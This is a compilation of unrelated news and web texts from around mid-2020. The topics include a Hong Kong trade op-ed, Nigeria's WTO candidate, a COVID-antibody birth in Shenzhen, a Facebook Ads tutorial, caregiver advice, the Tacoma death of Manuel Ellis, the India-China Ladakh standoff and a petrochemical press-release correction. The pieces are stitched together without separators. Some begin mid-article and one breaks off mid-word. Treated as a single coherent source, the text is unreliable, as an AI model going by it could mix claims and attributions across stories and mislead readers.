Significantly U.S. two-way trade with Hong Kong reached $36 billion in 2019 but with the U.S. sporting a $26 billion surplus!



Despite being the PRC's "Special Administrative Region" since 1997, the Hong Kong SAR nonetheless remains one of the world's freest and most entrepreneurial economies. This is something to be preserved, not pressured. The successful city state of 7.5 million people has traditionally served as a halfway house for trade between China and the West.



Clearly American sanctions should punish the PRC regime, not penalize pro-U.S. Hong Kong. Otherwise Chinese President Xi Jinping will have scored another backhanded victory  pressuring Hong Kong politically and having the U.S. help hurt the relatively independent Hong Kong economy.



Though Hong Kong no longer holds the economic clout it had in 1997, China's Communist Party wishes to see the feisty city state sidelined to the more prosperous counterweight of Shanghai.



"Hong Kong has flourished as a bastion of freedom," stated a joint communique from Australia, Britain, Canada and the United States. Beijing's new security law would "curtail the Hong Kong people's liberties, and in doing so, dramatically erode Hong Kong's autonomy and the system that made it so prosperous."



Is that Beijing's true plan?





John J. Metzler (jjmcolumn@earthlink.net) is a United Nations correspondent covering diplomatic and defense issues. He is the author of "Divided Dynamism  The Diplomacy of Separated Nations: Germany, Korea, China."






Nigeria has nominated a former Minister of Finance, Ngozi Okonjo-Iweala, as its candidate for the Director-General of the World Trade Organization (WTO) election coming up next year.

President Muhammadu Buhari confirmed the nomination on Thursday in an official announcement through the Nigerian Embassy and Permanent Mission to the African Union (AU) and United Nations Economic Commission for Africa (UNECA) in Addis Ababa, Ethiopia.

In the diplomatic note to inform all member countries embassies and permanent missions, President Buhari said he was communicating Nigerias decision to withdraw the candidacy of Yonov Frederick Agah for the election.

He did not disclose the reasons for the withdrawal of Mr Agahs candidature. Mr Agah is currently one of the four deputy directors-general of the WTO. He was first appointed deputy director-general October 1, 2013. He was reappointed for a second four-year term on October 1, 2017. His tenure runs out on October 1, 2021.

The President said Mrs Okonjo-Iweala would serve as Nigerias Candidate for the term 2021  2025 at the elections scheduled for in Geneva, Switzerland in 2021.

A renowned global finance expert, Mrs Okonjo-Iweala, is an economist and international development professional with over 30 years experience, having worked in Asia, Africa, Europe, Latin America and North America.

She is currently the Chair of the Board of Gavi, the Vaccine Alliance; a member of the Boards of Standard Chartered PLC and Twitter Inc, and was recently appointed as African Union (AU) Special Envoy to mobilise International Financial Support in the fight against COVID-19, as well as Special Envoy for the World Health Organizations Access to COVID-19 Tools Accelerator.

Twice Nigerias Finance Minister (2003-2006) and (2011-2015), Mrs Okonjo-Iweala also served briefly as Nigerias Foreign Minister in 2006, the first Nigerian woman to hold both positions.

She had a 25-year career at the World Bank as a development economist, rising to the position of managing director (operations).

As finance minister, Mrs Okonjo-Iweala steered Nigeria through a varying degree of reforms, particularly on macroeconomic, trade, financial and real sector issues.

As managing director (operations) at the World Bank, her several portfolios included oversight responsibility for the Banks $81 billion operational portfolios in Africa, South Asia, Europe and Central Asia.

She spearheaded several World Banks initiatives to assist low-income countries during the 2008-2009 food crisis and later in the trying period of the global financial crisis.

In 2010, Mrs Okonjo-Iweala served as chair of the World Banks successful drive to raise $49.3 billion in grants and low-interest credit for the poorest countries of the world.

President Buhari used the memo to solicit the support of AU member-States, as well as Permanent Missions and Embassies in Addis Ababa to Mrs Okonjo-Iwealas candidacy during the elections.
A baby in China has been born with coronavirus antibodies after his mother contracted COVID-19 when she was pregnant.

The healthy boy was born to a woman who is originally from Hubei, where the pandemic started.

Doctors said the child's coronavirus antibodies were 'a natural anti-virus ability' passed to him from the mother.

The woman, known by her pseudonym Xiaoyu, tested positive for the coronavirus in early April and recovered after 10-day treatment. On May 30, she gave birth to her baby son (pictured)

A healthy baby boy has been born with coronavirus antibodies in Shenzhen, China after his mother contracted COVID-19 without showing any symptoms when she was pregnant

The mother, known by her pseudonym Xiaoyu, tested positive for the coronavirus in early April despite showing no symptoms. She recovered after receiving 10-day treatment.

Xiaoyu gave birth on May 30 in the southern city of Shenzhen, where she lives and works.

The mother and child have been discharged from the Shenzhen Third Hospital after both of their coronavirus testing results came back negative, according to a social media post from the local government.

Xiaoyu caught the deadly disease after she and her husband went to stay with her family in the Wuchang city of Hubei province in central China in mid-January.

The provincial capital Wuhan went into lockdown on January 23 after the outbreak accelerated. The majority part of Hubei followed the draconian measures in the following days.

An obstetrician from the Shenzhen hospital explained that the coronavirus antibodies were 'a natural anti-virus ability' passed to the baby from the mother. The first-time Chinese mother, known by her pseudonym Xiaoyu, is pictured with a medic at the Shenzhen Third Hospital

The newborn tested negative for the coronavirus. His screening results indicated that the baby boy was born with coronavirus antibodies. The picture shows the baby boy in Shenzhen

Xiaoyu's mother was diagnosed with the COVID-19 in early February. But both Xiaoyu and her husband had tested negative.

The couple were allowed to return to their home in Shenzhen at the end of March after spending two months under quarantine.

In early April, the expectant mother tested positive for the coronavirus when she went to the hospital for a prenatal examination

She was diagnosed as an asymptomatic patient, one of those who showed no symptoms but could still spread the virus.

Xiaoyu recovered from the deadly disease after being treated for ten days. She then gave birth to a healthy baby boy last Saturday.

The first-time mother received six nucleic acid tests after her labour and all the results came back negative. A baby is pictured in a children's unit at a temporary medical facility established for COVID-19 patients at Moscow City Clinical Hospital in Russia

There is still ongoing debate about whether expectant mothers who are infected with the coronavirus would pass it to their unborn babies. Obstetricians in protective suits with a newly born baby in the delivery room of the COVID-19 ward at Republican Clinical Hospital in Russia

The first-time mother received six nucleic acid tests after her labour and all the results came back negative.

The newborn also tested negative for the coronavirus. His screening results indicated that the baby boy was born with coronavirus antibodies.

The hospital told the press that they would conduct further research based on the mother and child's results in the hope to provide new findings for the development of COVID-19 vaccines.

As the coronavirus pandemic sweeping across the globe, scientists around the world have been trying to understand the deadly disease better.

There is still ongoing debate about whether expectant mothers who are infected with the coronavirus would pass it to their unborn babies.
The number of Democrats filing for both state offices and the Sweetwater County commissioner race jumped significantly in the final days of election filing, leading to a primary contest for Democrats in House District 60.

Lindsey Travis and Mike Burd filed to seek election to Green Rivers House District 60 as Democrats. The two join Republicans Ted Barney and Mark Baker in campaigning for the seat, creating an important Primary Election contest on both sides of the ballot.

Democrats have also filled their side of the ballot for the two Sweetwater County commissioner positions up for elec...
It goes without saying that Facebook is a huge website! In fact, according to similarweb.com, it is the 3rd biggest website in the entire world, behind Google.com and Youtube.com. On average, each user spends 50 minutes per day on Facebook.

80% of people who use the internet, use a Facebook account and it has a potential reach of 1.9 billion people. In 2019, the average cost per click (CPC) was $0.80 globally, and the Cost Per Reaching 1,000 Impressions (CPM) was on average - $5.12. These costs will depend on demand, i.e. the industry and the location but they certainly outline that there is an opportunity when compared to other advertising platforms such as Google Ads.

The problem with Facebook advertising often has to do more with advertisers than the platform itself. With a lack of specialists in the advertising industry, Marketing professionals often don't have specific, high-level knowledge when it comes to Facebook Advertising and make the mistake of treating the platform somewhat like another Google Display Network.

Facebook Account Hierarchy

If you are new to Facebook ads, it helps to get familiar with how the platform is structured.

Business Manager > This is basically a tool to manage everything related to Facebook & Your Business. It creates a level of distinction between your personal Facebook account and your business account. It helps teams work together and helps to manage multiple Facebook Ads accounts if you work with different organisations.

Ad Manager > Ad Manager helps users to organise campaigns separately. It's a place to create, manager and analyse Facebook Ads campaigns. You can also add users at the Ad Manager level.

Ad Account > The ad account helps agencies to create separate profiles for each organisation or company that they work with.

Ad Campaign > At the campaign level, you set your objective for example "Traffic" or "Lead Generation". The Ad Campaign contains ad sets and ads.

When "CBO" is turned on Campaign Budget Optimisation - the budget is optimised at this level. Otherwise, the budget is optimised and set at Ad Set level.

Ad Set > The most important element of the Ad Set - is the audience that you are targeting. It is crucial to get this right to implement successful Facebook campaigns.

Ad> The actual ad and what it looks like etc.

Other Facebook Jargon

Custom Audience:

A custom audience is a collection of Facebook users that have specific things in common. For example, a common custom audience might consist of people who have already visited your website, or a specific page on your website.

Lookalike Audience:

Enables you to take a 'small audience' and make a 'big audience'.

People often refer to the small audience as the 'source audience' and the bigger audience as the "lookalike audience".

For example, if 1,000 people visit your website but you want to reach 1,000,000 relevant people, you can take the 1,000 source audience and Facebook will find the other 999,000 by matching them as closely as possible to the original 1,000 using all the data that Facebook has available. For example, they could match users on their interests, demographics, places they've visited, even other websites that they have visited.

Facebook Pixel:

This is a piece of code that goes on your website, allowing you to target them again on Facebook Ads. This is called retargeting or remarketing, which is one of the most profitable forms of advertising in general.

Split Testing:

If you want to succeed with Facebook Ads, you will almost definitely need to split test your ads and audiences. In fact, I've heard several Facebook marketing professionals state that the people who split test the most, will be the most successful in terms of their Facebook Ads campaigns.

Getting Started with Facebook Ads

Do some quick research. Start off with the mindset of an analyst, not an advertiser. Before you do anything - here is a great tip for getting started.

Go to your biggest competitor's Facebook page and click on the "see all" text on the "Page Transparency" box. Then, on the next popup click on "Go to Ad Library".

Here you can see your competitor's ads. This will give you a good idea about how to get started with your own ad creatives and designs.

The older the adverts that are still enabled, will tend to be the most profitable and successful.

Understand "why?" - why are competitors using certain types of ads and "what?" what are they saying - what is their hook and who are they targeting.

Remember that you have about 5 seconds to hook someone's attention on Facebook - how are your competitors doing this?

Before you start, you will need a Facebook page for your business.

You can do this from your personal Facebook account, in the top right corner, click "Create" or the "+" sign and then choose "Page"

Creating your account.

Now you've had a look at your competitors, you need to get started and actually create an ads account.

- Go to https://business.facebook.com/ and click "Create Account"

- Fill in the details when prompted - Business Name, Your Name and your business email address then click "Next"

- Enter in your Website URL (if you don't have one, paste in your Facebook profile URL)

Now you have your Facebook Business Account in place, go to Ads Manager.

You can go to the Ads Manager by clicking the 3 horizontal lines in the top left of Business Manager and then choosing "Ads Manager" from the drop-down menu:

Arguably the trickiest part of the Facebook ads setup process is adding the Facebook conversion or tracking pixel. If you don't want to do this yourself, it's pretty easy to find someone to do it on a website like PeoplePerHour or a relevant Reddit forum.

- Click on the 3 horizontal lines in the top corner of Ads Manager

- Choose "Events Manager" (this may be listed as "Pixels" in the old interface)

- Click "Create a pixel" or "Set up a pixel"

- Give your pixel a name

- Next, you need to click and copy the code

- This can be installed with Google Tag Manager, or you can use a specific plugin with Wordpress websites. The "Insert Headers and Footers" plugin is generally the recommended plugin for Wordpress.

Creating Your First Facebook Ads Campaign

From the Ads Manager page - click on "Create":

- Choose a campaign objective - choose "Conversions" (this is what most marketers will use 80% of the time). Facebook also now to "Click to Call" ads. For certain business-to-business campaigns, these can work really well, and you can always try a call answering service to help collect leads 24/7 (at the time of writing Moneypenny offer a free trial with no payment details required).

- Give the Campaign a name

- Switch "Campaign Budget Optimization" on (this isn't required but suggested)

- Set a campaign budget. Since we are starting off - go for $10 per day

- Press "Continue"

- In the Conversion section of this page - choose your goal - e.g. "lead", "purchase" or whatever you want your ads to achieve

Audiences & Audience Insights

This is where you can choose custom audiences.

You can create custom audiences for example - for people who viewed your video, you can upload customer emails to create a lookalike audience, you can target people who like your own or a competitor's Facebook page and you can target people who have already visited a specific page on your website.

For your first Facebook Ads campaign, it is recommended that you go to "Audience Insights" which can be accessed by clicking the 3 horizontal lines in the top left of the screen and chosen via the drop-down menu.

If you are unsure of your target audience, enter a relevant interest. For example, if I am selling bodybuilding supplements, I can choose the "Fitness & Wellness" option and then "Bodybuilding". This shows me that for example, 40% of the bodybuilding audience on Facebook is men aged 25-34, most are married and have a university education.

Now I can go back to my Ads Manager and Audience and change the age range to 24-34 and target men only, with a university education.

Going back to the setup process and the Audience setup:

- Choose your targeted location

- Add the age range you want to target

- Choose the Gender(s) that you want to target

- Choose the language that you want to target

- Now target people by interest using the "Detailed Targeting" options. For my supplement shop, I would enter "Bodybuilding" in this section. So that instead of targeting all men aged 24-34, I am now targeting just men, aged 24-34, who are interested in Bodybuilding.

- Remember what you have targeted, as you will want to split test audiences at some point.

Placements

- Turn off all automatic placements

- Target just the Facebook Newsfeed. (this can be split test with other placements at a later time)

- Leave the rest the same and click "continue"

Building Your First Ads

- Keep in mind the ads of your competitors that you viewed earlier

- Go to the Media section

- For this example, we will use some Facebook images

- Click Add Image - Then Stock Photo and search for your niche - e.g. "Bodybuilding"

- Choose an image that stands out

- Click "Continue"

- Add your "Primary Text" - something that 'hooks' the audience

- For my Bodybuilding shop, my Primary Text might be "No Gym? No Problem - Download our Free Guide to Bodybuilding at Home"

- Enter a Headline - for example, "Download Your Free Guide Today"

- Add the website page/URL that you want to send Facebook users to. If you have a specific offer, remember to send users to a specific page, not just your homepage

- If you wish to - add Facebook URL Tracking Parameters. More info in this video.

- Choose the ad "Format" - in this example we will choose "Single Image or Video"

Split Testing

- The simplest way to split test is to take one this campaign and copy it, then change 1 element of it.

- Go to Ads Manager

- Click the "Campaigns" Tab (in normally defaults to this tab anyway

- Select a campaign to copy by clicking the checkbox to the left of the campaign name

- Next, click the button that says "Duplicate" which is directly above the list of campaign names

- In the popup window click "Duplicate" again

- Now change the daily budget to whatever you want

- In Ad Sets - look to change one element of the Ad Set - for example, change the gender that is targeted or the interest.

- Make sure you name the campaign to something that outlines what you have changed for example "Free Home Workout Guide - Women Only"

And that's pretty much all you need to get started. You can learn more by watching Youtube tutorials and reading articles, but the best way to learn is to set a small budget and have a go yourself.
Get legal authority to coordinate care

Make sure your loved ones have advance directives in place. A power of attorney (POA) for health care gives you or someone else on the caregiving team the legal right to talk with practitioners, manage your family member's health care and make decisions if the person is unable to do so.

In addition, most hospitals and doctors have patients sign a Health Insurance Portability & Accountability Act (HIPAA) release form, which indicates who is authorized to receive a patient's medical information. This will help even if you don't have POA.

In the absence of these documents, the health care team may still talk with you about medical matters if it's clear that you are the caregiver or next of kin, but it's at their discretion.

Be prepared for appointments

If you make their job easier and faster, medical professionals will be much more responsive to you. For example:

 Before seeing a practitioner for the first time, download new-patient forms from the office's website and complete them.

 Do your research. Bring your notes, and prepare written questions in a format that will allow you to quickly jot down responses.

 Bring a medical history, medication lists, test results, notes on symptoms and health records.

 If you are seeing a specialist, make sure the office has notes from the referring doctor. Practitioners in the same health care system may be able to share these records electronically; alternatively, you may be able to upload them to a doctor's online patient portal.

 If you've read about a new treatment you think might help your loved one, bring the articles and share them with the doctor.

 Ensure that your family member is ready for appointments, and allow plenty of time to get to them, including time to use the restroom and a buffer for the unexpected.

Ask about telemedicine

The COVID-19 outbreak accelerated the growth of telehealth, and the trend is likely to continue even after the pandemic subsides. Virtual medical appointments can be an effective and convenient tool for both practitioners and patients, especially for those with significant mobility issues or health conditions that make them more vulnerable to infections.

If you or your loved one is interested in telemedicine, ask the health care team about whether and when a video or phone consultation can replace a trip to the office. Check that your family member's insurance will cover telemedicine, and take these additional steps to get ready:

 Find out if you'll need any tech tools, like a video-chat app (such as Zoom, Facetime or WhatsApp), and make sure they work on the device you'll be using (phone, computer or tablet). Practice ahead of time if possible.

 Make sure your device is plugged in or fully charged.

 Log in 10 minutes before the appointment, to allow time to resolve any technical difficulties, but be patient if the doctor is running late and you have to wait.

 If you have a thermometer, blood pressure monitor and pulse oximeter (to monitor oxygenation and pulse), have them at the ready. The practitioner may want you to use them so she can record the results.

Take notes

Document everything! You never know what might be important someday. I take notes at every appointment and procedure, and also record when tests take place, as well as the results. Often, I can find what the doctor said at the last visit more quickly in my notes than she can on her computer.

Share your notes with different practitioners. This is especially critical when loved ones are in the hospital, because there is so much going on and things can change quickly. I've caught many mistakes by reviewing my notes. For example, one of the many times my mom was hospitalized, the doctor said she should be taken off one of her drugs. I asked to see the medications list in her file on the hospital computer and discovered that that one hadn't been removed  a nurse was about to give it to her. I showed my notes to the nurse, who called the doctor to confirm and immediately stopped the medication.

Clarify roles

If you're lucky, you are not the only person working with the health care team. While I held the primary health care POA for my parents, my sisters sometimes helped coordinate care. It was important that we kept one another updated and that practitioners knew it was OK to talk to any of us about our parents.

Many families designate one person to interact with the health care team. Do what makes sense in your situation. Make sure everyone involved is clear about his role, to avoid duplication and frustration. It's not helpful to have multiple people calling the doctor about an issue at the same time, but often one family member needs to be able to pick up where another left off.

Don't assume one doctor knows what another is doing

Electronic health care records have helped with sharing of patient information, but in my experience most practitioners don't communicate with each other. That winds up being your role as a family caregiver  you are the information hub.

Keep track of tests, diagnoses, treatments and plans, and share that information with each of your loved one's physicians. Many health care offices have online portals on which you can set up a profile for yourself or a family member, exchange messages, get doctors notes and see lab and other test results.

Also, update medication lists, and ask pharmacists to review prescriptions for possible negative interactions. I learned much more about my parents medications from our pharmacists than I did from their doctors.

Establish mutual respect

The health care team works hard, sometimes under difficult circumstances. Establish positive relationships with doctors, nurses, assistants, technicians, therapists, social workers, support staff and others, and be respectful of their skills and time.

And when any of them does a good job, be sure to express your gratitude. I've sent health care workers thank-you notes and brought flowers or cookies. I'm always amazed at how grateful and surprised they are  clearly, it doesn't happen often. They hear a lot of complaints, so appreciation goes a long way and contributes to better service.

At the same time, gain their respect. Model the kind of interaction you'd like to have from them, including being pleasant and patient. Ask clear and concise questions to avoid stretching out appointments, but be firm about getting them answered.

Focus on what gets results in each office

I've saved time and improved communication with providers by building relationships with receptionists, office managers, billing staff and physician's assistants. It may take some trial and error, but you'll figure out who in each office is most likely to get a question answered and get back to you.

Find out the best time to be in contact, and the best way  phone, email, text or online via a patient portal (sometimes you get faster results using this method). If you leave a voice message, let the recipient know if there are times you won't be available for a return call.

If there's an issue that needs to be addressed and office staff are not responsive, keep at it. Health care practices are inundated. With so many patients to care for, our requests may get lost in the shuffle. A pleasant phone call can help move your request to the top of the list. And don't be shy about calling often if the matter is urgent.

Don't keep score

Your job is to ensure the best possible care for your loved ones, not to win or lose, prove a point or get a doctor to apologize for a dropped ball. Sometimes you will have to swallow your frustrations (trust me, you'll have some) and focus on getting things done.

One time, when a lab made a mistake on my mom's tests, I was so furious I found myself screaming at the person on the phone. I knew how hard it was for Mom to get to the lab, and I didn't want to put her through a repeat of the test. When the office manager put me on hold for a few minutes, I realized what was happening: I was scared that Mom would get sicker, and my fear wasn't helping the situation. I needed to move past it. When the call resumed, we worked out a solution.

It was a reminder that managing health care for others can be unpredictable and emotionally draining. Try your best to go with the flow, gather information and keep communication open. Never hesitate to ask the heath care team for help.
While the country appears to be containing the spread of the virus, demonstrators fear it will lead to them going hungry instead.

Police in Senegal have fired tear gas and rubber bullets at protesters demanding an end to coronavirus restrictions.

While the country appears to be containing the spread of the virus, people fear it will lead to them going hungry instead.

Al Jazeeras Nicolas Haque has more from the capital, Dakar.
Photograph: David Ryder/Getty Images

The mayor of Tacoma, Washington, has called for the police officers involved in the death of an African American man in March to be fired and prosecuted after cellphone footage surfaced of him being beaten while lying on the ground.

Victoria Woodards, the mayor, said the video made her even more angered and disappointed about the death of Manuel Ellis, 33, who died in police custody of respiratory arrest on 3 March after calling out I cant breathe. She instructed the Pierce county sheriff to review the actions taken by the officers on the scene.

Related: I cannot stand it: family of Louisville man shot dead by police speak out

The officers who committed this crime should be fired and prosecuted to the full extent of the law, said Woodards in a late-night press conference on Thursday after the video was released.

The video, captured by a woman whose name has not been released, appears to show two officers repeatedly punching a man lying on the ground. The woman can be heard screaming from her car: Stop. Oh my God, stop hitting him. Just arrest him.

The death of Ellis, a musician and father of two, has been ruled a homicide and is being investigated by the Pierce county sheriffs department. The county medical examiners officer reported that he died due to hypoxia and physical restraint. Other factors that may have contributed to his death included methamphetamine intoxication and heart disease.

The four officers involved were placed on administrative leave following the arrest. The Tacoma police department said in a statement that they returned to full duty once it was determined there were no known departmental violations. Earlier this week they were placed again on administrative leave.

On Friday, the Tacoma city council unanimously approved sending a letter to the governor, Jay Inslee, requesting an independent review of Elliss death. The letter was in response to Elliss family pushing for a thorough and independent investigation involving the state.



During the council meeting, Woodards also highlighted the need for the system to change, referencing the fact that she and the governor would look into establishing an independent review process for every officer-involved death in Washington.

Story continues

Ed Troyer, the Pierce county sheriffs spokesman, told the Guardian that the Tacoma police officers had noticed Ellis banging on car windows. When he came up to their car asking for help and saying there were warrants out for his arrest, an officer got out of the car.

Ellis grabbed him by his vest and threw him to the ground, according to Troyer. The second officer then came out of the car and wrestled him into handcuffs. He was lying on the ground when he started saying he couldnt breathe. The officers turned him on to his side and called for medical units.

The Washington senator Patty Murray said in a tweet on Thursday that her heart goes out to Manuel Ellis family, those who loved him & his community, and said she supported Inslees push for an independent investigation.

Ellis was a father to an 18-month-old daughter and 11-year-old son, according to a GoFundMe account created five days ago by Monet Carter-Mixon, Elliss sister, and Black Lives Matter Seattle King county. As of Friday, the page had raised over $46,000.

We are proud of the man Manuel became, like so many black men in our community, his greatest achievements were grounded in his ability to transform trauma and personal struggles into victories, the fundraiser says.
Ellen DeGeneres is now being heavily criticized for her insensitive post concerning the Black Lives Matter movement. The now-deleted post was about the ongoing protests in the U.S. following the violent death of George Floyd.

Social media users were quick to call out the host for her tweet. They found it tone-deaf and just downright insensitive.

An Expression Taken Out Of Context

The 62-year-old television host has always been known for her call to "always be kind to one another." In fact, every episode of her show would come to a close with this phrase, reminding everyone to always show kindness.

In her recent social media post, "The Ellen DeGeneres Show" host shared a video urging her followers to only spread love. This is in response to all the violence happening during the mass protests for the Black Lives Matter movement.

"Like so many of you, I am angry and I am sad," DeGeneres wrote according to the screenshot that a Twitter user posted. "People of color in this country have faced injustice for far too long. For things to change, things must change. We must commit ourselves to this change with conviction and love."

While the message was intended to encourage everyone to unite against racism, social media users took issue on the phrase she used in her post. They think the term "people of color" is inappropriate as the focus is on the black community.

One user wrote, "Black people Ellen not people of color. #BlackLivesMatter

Another user pointed out how Ellen's post seemed too cautious to be making a stand.

"Not people of color. George Floyd was black. Why are being so cautious? Serious ?"

"Black people, Ellen. Now delete," a third critic suggested.

While her intent may be for the good of everyone, social media users found her tweets rather insensitive and tone-deaf.

After deleting the first post, Ellen quickly posted two new tweets to correct her mistakes. The pair of tweets that came with the video was aimed to encourage people to donate for worthwhile causes. Their donation to the Black Lives Matter movement will go a long way.

The Fight Against Racism Continues

The tragic death of George Floyd at the hands of a Minneapolis police officer has sparked the fight against systemic racism in the U.S. It has brought a lot of protesters in the streets to call for change.

Black Lives Matter movement sits on the anger and outrage of people over the brutal death of George Floyd and the African American men and women before him. While everyone is trying to navigate through the new normal brought about by the pandemic, the death of Floyd highlighted the age-old fight against racism.

While some protests have turned out into violent riots, there are several peaceful ones that hope to send the message across. Celebrities such as Ariana Grande, Jamie Foxx and George Clooney have used their platforms to encourage everyone to be one with the fight.

At the end of the day, while the focus may be on Black Americans, it is important to note that anyone can fall victim to racism. If no force can stop racism today, there is no hope that anyone will be safe in the future.
BEIJING: A day ahead of the Lieutenant General-level dialogue to resolve the bitter Ladakh border standoff between the two countries, China on Friday said that India should not be instigated by the United States or any kind of media hype that may further strain the bilateral ties.

In an article published by the Global Times - the Chinese government mouthpiece  Beijing warned New Delhi that Washington was trying to meddle into the present India-China dispute in order to gain from it. "Washington looks forward to the China-India dispute in order to gain from it. The US supports India every time China and India have conflicts to encourage New Delhi's confrontation against Beijing and to hype new border disputes, the article said.

It further stated that ''the US and its allies have established various contact mechanisms with India, making it falsely believe that it is well-supported. But for major powers like China and India, external factors will not substantially affect their relations.''

However, the article went on to say that China does not want to fall foul of India and wants a peaceful resolution of all disputes. Good-neighbourly relations have been China's basic national policy over the past decades, and China firmly adheres to a peaceful resolution of border disputes. We have no reason to make India our enemy, the state-run media house said in the article.

While looking forward to the proposed talks on Saturday, China also hardened its tone and said that "it will not give up any inch of territory. Once India makes a strategic misjudgement and nibbles away at China's territory, China will never condone it.

The Global Times article further stated that China is bound to make strong countermeasures. We believe India knows very well that China will not be at a disadvantage in any China-India military operations along the border area.

The reaction from China came a day ahead of Lieutenant General-level dialogue on Saturday in what is likely to be the first major attempt to resolve the month-long bitter border standoff in eastern Ladakh even as both militaries maintained their aggressive posturing in the sensitive areas in the high-altitude region.

The Indian delegation at the talks will be led by Lt General Harinder Singh, the general officer commanding of Leh-based 14 Corps, while the Chinese side will be headed by the Commander of the Tibet Military District, official sources said.

The talks are slated to be held around 8 AM in the Border Personnel Meeting Point at Maldo in Chushul sector of Eastern Ladakh. The sources said India was not expecting any concrete outcome from the meeting but considers it important as the high-level military dialogue could pave the way for a negotiated settlement of the tense standoff.

The local commanders of the two sides have already held at least 12 rounds of talks while three rounds of discussions took place between major general-rank officials, but no positive outcome came out from the negotiations, the sources said.

In Saturday's meeting, the Indian side is expected to press for the restoration of the status quo ante in at least Pangong Tso and Galwan Valley to gradually deescalate the tension and removal of temporary camps erected by China after a violent face-off between the two sides on May 5, they said.

The Indian delegation will also insist on the implementation of the strategic guidelines issued by the two militaries in line with decisions taken by Prime Minister Narendra Modi and Chinese President Xi Jinping in their first informal summit in April 2018 in Wuhan, the sources said.

It is learnt that two sides are also engaged in diplomatic talks to find a solution to the face-off which is turning out to be the most serious military standoff between the two armies after the Doklam episode of 2017. PM Narendra Modi and President Xi Jinping held their informal summit in Wuhan months after the Doklam standoff.

After the standoff began in early last month, India decided that its troops will adopt a firm approach in dealing with the aggressive posturing by the Chinese troops in all disputed areas of Pangong Tso, Galwan Valley, Demchok and Daulat Beg Oldie. The Chinese army is learnt to have deployed around 2,500 troops in Pangong Tso and Galwan Valley besides gradually enhancing temporary infrastructure and weaponry.

The sources said satellite images have captured significant ramping up of defence infrastructure by China on its side of the de-facto border including construction activities at a military airbase around 180 km from the Pangong Tso area. China has also enhanced its presence in certain areas along the Line of Actual Control in Northern Sikkim and Uttarakhand following which India has also been its presence by sending additional troops, they said.

The trigger for the face-off was China's stiff opposition to India laying a key road in the Finger area around the Pangong Tso Lake besides construction of another road connecting the Darbuk-Shayok-Daulat Beg Oldie road in Galwan Valley. The road in the Finger area in Pangong Tso is considered crucial for India to carry out patrol. India has already decided not to stall any border infrastructure projects in eastern Ladakh in view of Chinese protests.

Government sources said military reinforcements including troops, vehicles and artillery guns were sent to eastern Ladakh by the Indian Army to shore up its presence in the areas where Chinese soldiers were resorting to aggressive posturing.

The situation in eastern Ladakh deteriorated after around 250 Chinese and Indian soldiers were engaged in a violent face-off on the evening of May 5 which spilled over to the next day before the two sides agreed to "disengage". However, the standoff continued.

The incident in Pangong Tso was followed by a similar incident in North Sikkim on May 9. The troops of India and China were engaged in a 73-day stand-off in Doklam tri-junction in 2017 which even triggered fears of a war between the two nuclear-armed neighbours.

The India-China border dispute covers the 3,488-km-long LAC. China claims Arunachal Pradesh as part of southern Tibet while India contests it. Both sides have been asserting that pending the final resolution of the boundary issue, it is necessary to maintain peace and tranquillity in the border areas.

(With PTI inputs)
Phillipsburg does not often hold its own version of national protests. It will on Saturday with a march down Main Street against racism.

Lakeisha Alexander, a resident who is organizing the peaceful demonstration called Walk With Us, told lehighvalleylive.com that residents who experience bigotry want their voices heard, and that others need to realize it happens in Warren County as well as major cities where protests have been ongoing for a week or more.

"There's racism here. There's racism everywhere, Alexander said.

Walk With Us is scheduled for noon Saturday starting at Shappell Park, with a Sunday rain date. At least 600 people have responded to the events Facebook page.

Mayor Todd Tersigni confirmed he will attend the walk. Police Chief Robert Stettner will also be there, along with officers both ensuring safety and participating in the demonstration.

This is our time to listen. And thats what were there to do, Stettner said.

This march, while inspired by other protests over the death of George Floyd in Minnesota as a police officer knelt on his neck, is about policing in the U.S. as well as a show of strength against racism in general, Alexander said. She and her family described ways they say bigotry appears in the community, both overtly  like someone calling Alexanders son the N-word  and subtly, like a lack of emphasis on Black History Month at school.

Its the police, Alexander said, and its the people.

NOTE: This post originally misquoted Lakeisha Alexander. It has been updated to clarify that the walk deals both with policing and racism in general.

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Steve Novak may be reached at snovak@lehighvalleylive.com.
Last paragraph, second sentence of release should read: In 2019, Henglis total revenue was 556.7 billion RMB, ranking No. 181 in the Fortune Global 500 list. (instead of In 2018, Henglis total revenue was 371.7 billion RMB, ranking No. 181 in the Fortune Global 500 list.).

The corrected release reads:

HENGLI PETROCHEMICAL ANNOUNCES SUCCESSFUL PERFORMANCE DEMONSTRATION ON ITS 4TH PTA LINE UTILISING INVISTAS P8 PTA TECHNOLOGY

INVISTAs technology and licensing group, INVISTA Performance Technologies (IPT), and Hengli Petrochemical (Dalian) Co., Ltd (Hengli) are pleased to announce that Henglis 4th PTA line utilising INVISTAs P8 Process Technology has met all performance guarantees.

Henglis 4th PTA line of 2.5 million tonnes per annum capacity, located in Changxing Island, Dalian City, Liaoning Province, utilising INVISTAs P8 PTA technology with industry leading variable cost, capital productivity and environmental performance, came online on January 8th, 2020. This PTA line also produces benzoic acid as co-product, utilising INVISTAs proprietary R2R technology.

Henglis 4th PTA line was executed in record time of 22 months from engineering kick-off meeting to start-up. Both parties demonstrated extraordinary commitment under the difficult circumstances. INVISTAs commissioning team provided Hengli with onsite and remote technical support to optimise the plant performance in quick time.

Adam Sackett, IPT vice president PTA, commented, This is the latest in a series of successful collaborations between the teams of both companies and I congratulate Hengli on achieving this significant milestone on Line 4. Whilst Hengli Line 4 has already demonstrated industry leading variable cost performance, we will continue to support Hengli to further optimise the plant.

Chen Xinhua, vice chairman of Hengli, expressed his trust in INVISTAs PTA technology, saying, We are honoured to choose INVISTAs world class P8 PTA technology. We appreciate INVISTAs excellent support throughout the whole project lifecycle. We look forward to ongoing cooperation with INVISTA in the future.

INVISTAs industry-leading PTA technology, including its latest version of P8 technology, is available as a license package from IPT. For more information, please visit the IPT website at www.ipt.invista.com.

About INVISTA:

From the fibers in your carpet to the plastic in your automobiles, INVISTAs commitment to continuous improvement has led its employees to develop some of the most durable, versatile polymers and fibers in the world. A subsidiary of Koch Industries since 2004, INVISTA brings to market the proprietary ingredients for nylon 6,6 and recognized brands including STAINMASTER, CORDURA and ANTRON. INVISTA also offers specialty chemical intermediates and process technologies. See the bigger picture at INVISTA.com.

About Hengli Group:

Hengli Group is an international company that owns a diversity of business: petrochemical, advanced polyester materials, textiles, trading, finance and thermal power. In 2019, Henglis total revenue was 556.7 billion RMB, ranking No. 181 in the Fortune Global 500 list. Hengli operates the largest PTA plant in the world combined with the biggest performance fibre textile production base.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200604005818/en/
Copyright  2020 Albuquerque Journal

